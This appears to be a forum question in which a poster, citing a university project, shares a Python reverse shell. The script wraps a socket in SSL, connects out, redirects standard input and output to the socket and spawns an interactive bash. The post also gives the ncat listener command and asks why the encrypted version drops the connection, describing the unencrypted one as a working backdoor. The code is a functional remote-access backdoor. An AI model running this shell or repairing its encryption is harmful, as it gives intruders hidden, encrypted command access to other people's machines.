For my university project, I have to create a remote access tool with python. I can do it easily on a simple TCP socket, but when it comes to an SSL socket, I get problems.
Here is the code:
#/usr/bin/python3
import socket
import ssl
import subprocess
import os
# SET VARIABLES
HOST, PORT = '127.0.0.1', 1234
# CREATE SOCKET
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
# WRAP SOCKET
sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)
sock.connect((HOST, PORT))
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)
p = subprocess.call(["/bin/bash", "-i"])
When I try to listen on the other side with ncat --ssl -nlvp 1234
, the reverse shell connects and disconnects immediately, nothing appears; And if I remove the sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)
I get a working backdoor, but on a plain text socket.
Can anyone explain the problem to me please? And maybe give me a solution?